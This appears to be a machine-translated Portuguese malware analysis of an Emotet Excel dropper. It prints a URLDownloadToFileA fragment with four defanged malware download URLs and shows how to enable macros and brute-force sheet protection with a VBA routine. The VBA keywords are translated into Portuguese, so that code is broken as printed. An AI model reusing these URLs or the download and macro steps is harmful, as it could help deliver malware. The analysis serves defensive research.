Por Ilan Duhin e Yossi Poberezsky ( @pober58 )

Sumário executivo:

Nos últimos meses, houve uma extensa campanha na Europa, principalmente de malware que se chama “Emotet”. O malware chega como um arquivo do Excel e tenta se comunicar com uma série de URLs e, no final, baixa quatro arquivos DLL para a máquina.

O Emotet usa uma chamada de API de CreateDirectoryA para criar uma pasta onde os arquivos serão salvos localmente no computador e, a partir daí, executados no Regsvr32.exe.

Análise Estática:

Ferramentas OLE:

Verificando a estrutura do arquivo.

Pegando uma pista que temos dentro das planilhas do excel 6.

Verifique os recursos do arquivo usando malwoverview.py e obtenha algumas pistas.

Entre no terceiro córrego e extraia suas cordas.

Encontre 4 URLs suspeitos.

O arquivo contém macro. Além disso, encontre todas as células que contêm todo o código.

Análise Dinâmica:

Primeiramente, tentamos abrir o excel (parte do office 2021) notamos que abriu sem

"Ativar conteúdo" pop-up. depois de fazer uma pequena pesquisa, a mensagem aparece apenas nas versões 2007–2013 do Office. Depois disso, a Microsoft bloqueia a opção de habilitar macros em execução automaticamente.

Para habilitar as macros precisamos alterar a opção como na imagem abaixo:

** no office 2007/2013 será executado clicando em “Habilitar Conteúdo”

Precisa salvar e inseri-lo novamente em um arquivo excel.

E agora…

Quando pressionamos o botão, quatro mensagens aparecem.

Ao clicar em regsvr32.exe, você pode ver essas macros usando-o para executar o malware. Ele age como um conta-gotas porque gera uma pasta para colocar sua DLL lá.

ao abrir o Excel e seguir a investigação estática, vemos 6 planilhas que estavam escondidas da vítima.

Cada folha requer uma senha.

Para extrair a senha, usamos “password breaker for VBA”.

Fonte:https://www.instructables.com/VBA-Code-To-Unlock-A-Locked-Excel-Sheet/

Sub PasswordBreaker()

'Quebra a proteção de senha da planilha.

Dim i Como inteiro, j Como inteiro, k Como inteiro

Dim l Como inteiro, m Como inteiro, n Como inteiro

Dim i1 como inteiro, i2 como inteiro, i3 como inteiro

Dim i4 como inteiro, i5 como inteiro, i6 como inteiro

No Erro Retomar Avançar

Para i = 65 a 66: para j = 65 a 66: para k = 65 a 66

Para l = 65 a 66: para m = 65 a 66: para i1 = 65 a 66

Para i2 = 65 a 66: para i3 = 65 a 66: para i4 = 65 a 66

Para i5 = 65 a 66: para i6 = 65 a 66: para n = 32 a 126

ActiveSheet.Unprotect Chr(i) & Chr(j) & Chr(k) & _

Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & Chr(i3) & _

Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)

Se ActiveSheet.ProtectContents = False Então

MsgBox “Uma senha utilizável é “ & Chr(i) & Chr(j) & _

Chr(k) & Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & _

Chr(i3) & Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)

Sair Sub

Fim se

Próximo: Próximo: Próximo: Próximo: Próximo: Próximo

Próximo: Próximo: Próximo: Próximo: Próximo: Próximo

End Sub

Para inserir nosso código VBA, precisamos pressionar: ALT+F11, colar e executar.

cole o separador de senha dentro de cada folha.

O Excel nos mostra automaticamente a senha da planilha solicitada.

Podemos verificar pressionando o botão direito e ver que a planilha está “Protegida”.

Dados da planilha 1:

Dados da planilha 2:

Quando reorganizamos as strings, vemos quatro URLs:

- URLDownloadToFileA”, “JCCB”, 0, “https://audioselec.c[o]m/about/dDw5ggtyMojggTqhc

-https://geringer-muehle.[de]/wp-admin/G/

-http://intolove.co.[uk]/wp-admin/FbGhiWtrEzrQ/

-http://isc.net.[ua]/themes/3rU/

Dados da planilha 3:

Dados da planilha 4:

Outros dois URLs que vimos anteriormente.

Dados da planilha 5:

Dados da folha 6:

Contém as instruções de como resumir as strings.

Análise de DLL:

Função de exportação número 18.

Depois de executar a DLL, encontramos algumas strings interessantes na guia de memória.

Além disso, ele cai após a execução para o próximo caminho:

Ao analisar a string de memória da DLL no VT obtivemos uma descrição do Emotet.

Conclusões:

· As macros chegam para baixar e executar o malware Emotet.

· O arquivo Excel usando macros para chegar a URLs da web.

· Via regsvr32.exe Emotet fazendo sua execução.

· O conta-gotas Emotet é baixado para uma pasta gerada aleatoriamente em %UserProfile%\Appdata\Local como um arquivo dll.